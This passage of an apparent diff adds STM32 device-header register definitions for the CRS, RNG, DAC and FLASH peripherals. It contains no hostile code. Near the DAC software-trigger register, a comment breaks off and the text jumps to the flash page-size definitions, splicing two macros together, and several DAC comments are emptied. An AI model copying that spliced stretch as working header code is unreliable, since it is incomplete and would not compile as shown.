CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0xA715U) +#define RNG_NSCR_NIST_VALUE (0x9049U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State 